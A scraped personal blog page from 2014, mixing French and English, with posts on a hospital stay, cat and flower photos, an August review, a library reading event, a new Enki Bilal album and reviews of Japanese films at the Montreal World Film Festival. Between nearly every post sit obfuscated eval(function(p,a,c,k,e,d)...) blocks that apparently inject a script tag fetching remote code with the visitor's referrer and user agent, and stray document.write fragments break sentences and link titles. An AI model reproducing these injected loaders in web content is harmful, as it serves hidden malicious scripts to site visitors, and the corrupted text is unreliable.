eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iasdd|var|u0026u|referrer|hfefd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nrfbb|var|u0026u|referrer|tbkih||js|php’.split(‘|’),0,{}))

Unfortunately, because of this brief hospital stay, I also missed the initial preorder of the new iPhone 6. So, I won’t get it next week like I wanted, but only next month. Too bad, I could have done a lot with it during my sick leave. Now I’ll get it only after I am back to work…

[ Traduire @ Google ]
[ Traduire @ Bing ]

L’image du chat-medi

Chaussette (“Socks”) 2014-09-10
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzsbs|var|u0026u|referrer|iasih||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fened|var|u0026u|referrer|rybyb||js|php’.split(‘|’),0,{}))
<a href="
https://www.flickr.com/photos/clodjee/15044329888&quot; target="“new”" title="Chaussette by Clodjee Pelletier, document.write(“”); on Flickr”>Chaussette

L’image du mer-fleurie

Septembre, document.write(“”); et les cosmos fleurissent toujours
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbybe|var|u0026u|referrer|afikt||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bkbbs|var|u0026u|referrer|natdr||js|php’.split(‘|’),0,{}))
September, and the cosmos are still blooming
Cosmos
White cosmos

August in review

On the domestic front, document.write(“”); August was an exhausting month. I covered the first part of the month in my previous entry (July in review). The second part was mostly dedicated to the Montreal World Film Festival. In the middle, I took a long week-end in order to recover as best as I could. I was so tired that, as usual, I didn’t do as much as I wanted. Disappointingly, I didn’t write any book or movie comments, but I wrote the overdue review of the month, went to the clinic to get reassured about my knee, updated the blog with the festival’s scheduling and movies information, but mostly rested. The situation at work had probably something to do with my exhaustion and the coming weeks (where I would be attending the festival) would certainly not help.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|farrf|var|u0026u|referrer|yzkef||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|isnfy|var|u0026u|referrer|dsenb||js|php’.split(‘|’),0,{}))

The festival showed about
a dozen Japanese movies and I succeeded to watch them all (and more! A general overview of the festival will come soon). In the beginning, I had a surge of energy and [finally!] wrote several movies comments (first the latest Lelouche: Salaud, on t’aime, One Third, Tokyo – The city of glass, the British short The stomach, Blossom Bloom, Our family, and more to come soon) and even got a few specific responsibilities at work that made me feel worthy. Unfortunately, at the end of each week I was terribly exhausted (the running around at work wasn’t helped at all by the fact that my knee was still bothering me, I had developed swollen piles and I was moonlighting at the film fest). On top of it, my sister finally found someone to come pick up all the boxes in the garage (unwanted left-overs of the moving [three years ago!]: two boxes of glass ware, ten of clothing and twenty of books) so I had to prepare them for the pickup in a hurry (repackaging, making sure I was not giving away interesting books, etc.). Now that I had freed some space, I couldn’t resist to clean up and reorganize everything in the garage (after all it’s the indispensable washing room, workshop and storage room). All this was, you guess it, quite exhausting. The only way to recover was to take three-day week-ends (some planned, some unscheduled — that’s why we have sick days, isn’t it?).

On the world stage, the press was mostly preoccupied with the situation in Ukraine and the horrible crimes of the Islamic State in Irak. Of course, exhaustion and being so busy can’t keep me from reading interesting news stories (on technology, sciences, popular culture, local interests, etc.) and wanting to share their links with you…


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Libraries

Economy, Environment & International/U.S. Politics

Health, home & garden

iPhoneography

Local news

Media, Culture, Entertainment & Society

Movie Festivals

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries / Régimes de retraite

[ Traduire ]

Écrire le monde : la science fiction

L’Union des écrivaines et des écrivains québécois, document.write(“”); en collaboration avec Bibliothèque et Archives nationales du Québec (BAnQ) présente :
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yieyt|var|u0026u|referrer|sinfs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sanfa|var|u0026u|referrer|hkrza||js|php’.split(‘|’),0,{}))

Lecture publique

Écrire le monde / Territoire de l’ailleurs : la science-fiction

Le 2 octobre 2014, de 19 h 00 à 20 h 15

À l’Auditorium de la Grande Bibliothèque

Lecture d’extraits du roman Les jours de l’ombre de Francine Pelletier, auteure de la trilogie Le sable et l’acier, en sa présence.

Mise en lecture : Rita Lafontaine
Interprète : Jessica Lamy
Musicien : Frédéric Maher

La lecture sera suivie d’une période de questions avec l’écrivaine et les artistes.

Continuez après le saut de page >>

Sha’Ema, une jeune pelissière de Namelak, fuit son village. Sous son sein gauche, un oeil est en train de se former. Or, si les prêtres l’apprennent, ils la mutileront, l’exileront dans les montagnes, et sa famille sera soupçonnée d’impureté.

De fait, sur Og’umbi, il est dit que les métamorphoses proviennent des unions contre nature qui ont eu lieu entre humains et Akae, ces « êtres-en-changement » qui, jadis, ont envahi la planète. Et si ces monstres ont depuis disparu, le mal, lui, demeure omniprésent. D’ailleurs, dans sa fuite, Sha’Ema rencontre Nosh, l’homme au corps de bête, puis Herbé, qu’une métamorphose a rendu mi-humain, mi-autre chose…

C’est en cherchant à en savoir davantage sur ces métamorphoses, dans la grande ville de Vassilor, que Sha’Ema entendra parler pour la première fois des théories révisionnistes du professeur Valère, et c’est ensemble qu’ils s’enfonceront au coeur des montagnes de l’Ueg, à la recherche d’une vérité qu’ils ne peuvent encore soupçonner!

La participation à cette activité est gratuite. Cependant, pour vous assurer d’avoir une place, vous êtes invité à vous procurer un billet. Cette activité ayant lieu dans un auditorium, des frais de billetterie de 4 $ par billet (taxes incluses) s’appliquent. Les personnes se présentant sans billet à une activité ne seront admises dans la salle que s’il reste de la place.

Pour de plus ample information, voir les sites de l’UNEQ et de la BANQ.

(Crédit photo: Romain Guy)

[ Translate ]

L’image du chat-medi

Mitsou
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zhzyh|var|u0026u|referrer|idszd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kffsa|var|u0026u|referrer|nhbdn||js|php’.split(‘|’),0,{}))
<a href="
https://www.flickr.com/photos/clodjee/15158105312&quot; target="“new”" title="Mitsou by Clodjee Pelletier, document.write(“”); on Flickr”>Mitsou

Découverte: un nouvel album de Bilal

Après Animal’z et Julia et Roem, document.write(“”); voici enfin le troisième volet de la trilogie événément signée Enki Bilal.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|drrbk|var|u0026u|referrer|natnz||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ykrsf|var|u0026u|referrer|zhetb||js|php’.split(‘|’),0,{}))

“Dans un ciel sens dessus dessous ponctué d’immenses masses nuageuses aux allures menaçantes progresse le Zeppelin sinistré Garbage et son équipage incongru : un couple de passagers de hasard embarqués à Tanger, Anders Mikkeli et Esther Roblès, deux jumelles orphelines sujettes à de mystérieuses crises de citations littéraires, leur garde du corps et le cadavre démembré du pilote de l’appareil, suspendu à ce qui reste de sa nacelle détruite. Dans les soutes, un mélange de déchets nucléaires instables et d’armes atomiques en état de marche, indice probable des visées terroristes du Garbage. Balloté au gré de la violence des vents, ses équipements verrouillés sur navigateur automatique, l’aérostat semble totalement livré à lui-même, et pourtant… Pourtant quelque chose suggère qu’il y a peut-être là un dessein, une volonté, une direction. Car au même moment, nombre des personnages croisés au fil des deux précédents volumes de la trilogie – Ana et Lester, Bacon et son dauphin hybride, Julia, Roem et Lawrence, l’ex-aumonier militaire – se sont eux aussi mis en mouvement, comme mûs par un appel secret. Leur périple annonce-t-il le stade terminal du « coup de sang » planétaire ? S’agit-il des prémisses de la troisième guerre mondiale annoncée, qui mettra ainsi un point final à la crise environnementale généralisée ? Ou d’autre chose encore, divergeant de tout ce qu’on pouvait imaginer ?”

“Toujours magistral, tant dans la puissance et l’originalité de son récit que dans son traitement graphique et chromatique exceptionnel, Enki Bilal apporte un point final à la trilogie amorcée dans Animal’z et poursuivie dans Julia et Roem. L’un des titres les plus attendus de la fin d’année.” (Texte du site de l’éditeur)

Pas grand chose à ajouter sur ce nouveau Bilal sinon que j’ai bien hâte de le lire (la date de parution en France est le 2014/10/22, mais il est difficile de dire quand il sera disponible au Québec). Décidément, Bilal va de trilogie en trilogie nous présentant toujours le même futur glauque mais jamais ennuyant.

La Couleur de l’air, par Enki Bilal. Paris: Casterman, octobre 2014. 96 pgs, 24 x 32.1 x 1.5 cm, 18.00 €, ISBN: 978-2-203-03309-2.

[ Translate ]

Our family

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytbrf|var|u0026u|referrer|rzafy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hhfty|var|u0026u|referrer|zsyie||js|php’.split(‘|’),0,{}))

“Reiko has been suffering from memory loss for some time, document.write(“”); but her family doesn’t really seem to notice. One day, she’s examined by a doctor, who discovers that she has a terminal brain tumor and will probably die within a week. As her dementia worsens, Reiko begins to express her true feelings for the first time, such as her fear that the family is falling apart. Meanwhile, her husband is facing bankruptcy and the family has been at odds over everyday problems and mistrusts. Their sons, Kosuke and Shunpei, react to the family troubles in different ways. The older brother, Kosuke, clumsily tries to shoulder the burden of the family while younger brother, Shunpei, gradually dedicates himself to becoming a better son.”

(Text from the Festival’s program)


In this family, the older son is a “recovered” Hikikomori who is now married and whose wife is expecting the first grandchild of the family. The younger son is an unreliable student who keep asking is mother for money. The husband’s company is not making any money so the couple is deeply in debts. When the family notice that the mother is behaving strangely and has memory lapses, they bring her to the doctor. The prognostic is devastating: she has an unoperable brain tumor and won’t probably live more than a week!

The two sons, who just discovered the extant of their parents debts, decide to do something about it. They also decide to seek second opinions on their mother’s diagnosis. After visiting a 6th hospital with their mother’s medical file, a doctor think that it might be a different type of tumor that could be treatable, so he refers them to another hospital and to a young female doctor. After more tests and a biopsy, it is revealed that the tumor is indeed treatable.

Through this ordeal the family — which had been slowly falling apart — is pulling together and it makes the sons to finally mature. I guess it shows that you must never give up. You must keep hope, give all your might and when things are getting though you must keep smilling…

As usual in Japanese cinema, this movie offers us nice imagery, particularly the beautiful landscape. It is a nice and enjoyable movie, but, somehow, I didn’t feel any emotions. Usually such movies will make me cry, but in this case I unfortunately didn’t feel any sadness. Was it me or was there something lacking in the stoytelling or the acting? I am not sure, but it was nevertheless a good story.

Our family (??????? / Bokutachi no Kazoku): Japan, 2014, 117 min.; Dir.: Yuya Ishii; Scr.: Yuya Ishii (Based on the novel by Kazumasa Hayami); Phot.: Junichi Fujisawa; Ed.: Shinichi Fushima; Mus.: Takashi Watanabe; Cast: Satoshi Tsumabuki (Kosuke), Mieko Harada (Reiko), Sosuke Ikematsu (Shunpei), Kyozo Nagatsuka (Katsuaki), Mei Kurokawa, Yusuke Santamaria, Shingo Tsurumi, Yuka Itaya, Mikako Ichikawa. Film screened at the Montreal World Film Festival on August 25th, 2014 (Cinema Quartier Latin 15, 21h30 – the theatre was three-quarter full with about sixty people) as part of the “World Great” (Out of Competition) segment.
For more information you can visit the following websites:
Our family © 2013 Bokutachi no Kazoku Film Partners.

[ Traduire ]

L’image du mer-fleurie

Caryophyllaceae: Dianthus: Dianthus barbatus
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ettsa|var|u0026u|referrer|krdst||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|taehh|var|u0026u|referrer|hkzti||js|php’.split(‘|’),0,{}))
Œillet de poète / Sweet william (2014-07-09)
<a href="https://www.flickr.com/photos/clodjee/14946665629&quot; target="“new”" title="Nadesico by Clodjee Pelletier, document.write(“”); on Flickr”>Nadesico

Blossom Bloom

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzhza|var|u0026u|referrer|enzki||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ketin|var|u0026u|referrer|berhr||js|php’.split(‘|’),0,{}))

“On first glance, document.write(“”); Shunzuke, 47, seems to have everything, a top job at an electronics company, a loving beautiful wife Akiko, a son Daisuke and a daughter Sakiko and a nice house where he lives with his father Shuntaro. But the respect he gets at work doesn’t extend to the domestic front, especially after Akiko discovered a now-ended affair of his. Meanwhile, Daisuke has skipped university to work in low-end jobs, Sakiko doesn’t talk to him, and Shuntaro is having serious health problems. On the eve of a possible promotion at work, Shunsuke decides that his family comes first.”

(Text from the Festival’s program)


A man who was too busy building a successful career is about to get a big promotion, but then realized that he has never been there for his family. He never listened to his wife, missed all of his daughter parent’s days at school, was not there to support his son when he was having academic difficulties and didn’t notice that his aging father was getting senile. He decide to take everyone on a family trip to bring them together, apologize for his failings and search for the lost memory of his father’s childhood.

Directed by Mitsutoshi Tanaka (who also directed Ask this of Rikyu, presented in competition at last year’s MWFF), it is a beautiful but sad movie about family, the challenges of old age, like dementia, and which shows us the beautiful landscapes of rural Japan (for their trip they travel to the Fukui Prefecture). I think it is also a reflexion on the shifting values of 21st century Japan: what’s the use to work yourself out if you don’t have a nice and enjoyable place to come to after?

Somehow, this movie hit close to home, therefore I personnally found it very touching. It’s a very good and enjoyable movie.

Blossom bloom (????? / Sakura saku): Japan, 2014, 107 min.; Dir.: Mitsutoshi Tanaka; Scr.: Masashi Sada (based on his short story), Eriko Komatsu; Phot.: Takeshi Hamada; Ed.: Shinichi Fushima; Mus.: Ko Otani; Art Des.: Koichi Wakamatsu; Prod.: Norihisa Ohara, Ryosuke Otani; Cast: Naoto Ogata (Shunsuke Osaki), Kaho Minami (Akiko), Tatsuya Fuji (Shuntaro), Karen Miyama (Sakiko), Masato Yano (Daisuke), Kanji Tsuda, Kyusaku Shimada, Sumie Sasaki, Ren Osugi. Film screened at the Montreal World Film Festival on August 23rd, 2014 (Cinema Quartier Latin 12, 11h40 – the theatre was tiny but it was nearly three-quarter full; Interestingly, a large part of the audience was made of Japanese ladies and elderly couples!) as part of the “Focus on World Cinema” segment.
For more information you can visit the following websites:
Blossom bloom © 2014 Sakurasaku Film Partners.

[ Traduire ]

The stomach

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ndbfb|var|u0026u|referrer|dnany||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|riard|var|u0026u|referrer|zdidz||js|php’.split(‘|’),0,{}))

“Frank’s had enough. A spirit medium whose unique and grotesque method of channeling the dead is putting his own life at risk, document.write(“”); he wants out. But others have different plans.”

“Médium dont la méthode unique et grotesque d’entrer en contact avec les morts met sa propre vie en péril, Frank en a assez. Mais dans ce monde comme dans l’au-delà, d’autres ont aussi leurs plans.”

(Text from the Festival’s program)


The story of this short movie is quite interesting — it’s a great horror idea, something in-between P. K. Dick and H.P. Lovecraft! Some criminal had his brother killed, but couldn’t find the goods that he was hiding. He therefore consult a medium to ask his brother where is the loot. He puts his brother shoes into the medium’s feet, speaks in a tube inserted in the medium’s mouth and listen with a stetoscope into the medium’s stomach, which become a door to the other world and to the deceased. The brother is uncooperative and finds a way to get his revenge… Quite original!

The stomach: United Kingdom, 2014, 15 mins; Dir./Scr.: Ben Steiner; Phot.: Dom Bartels; Ed.: Jacob Proctor, Dan Dixon; Mus.: Dicken Marshall, Mark Ashworth; Cast: Aimon Meacock, Ben Bishop, Peter Marinker, Kiki Kendrick, Neil Newborn. Short film screened in opening to Tokyo – The city of glass at the Montreal World Film Festival on August 22nd, 2014 (Cinema Quartier Latin 15, 19h00) as part of the “Focus on World Cinema” segment.
For more information you can visit the following websites:
The stomach © Ben Steiner / Fume Films.

[ Traduire ]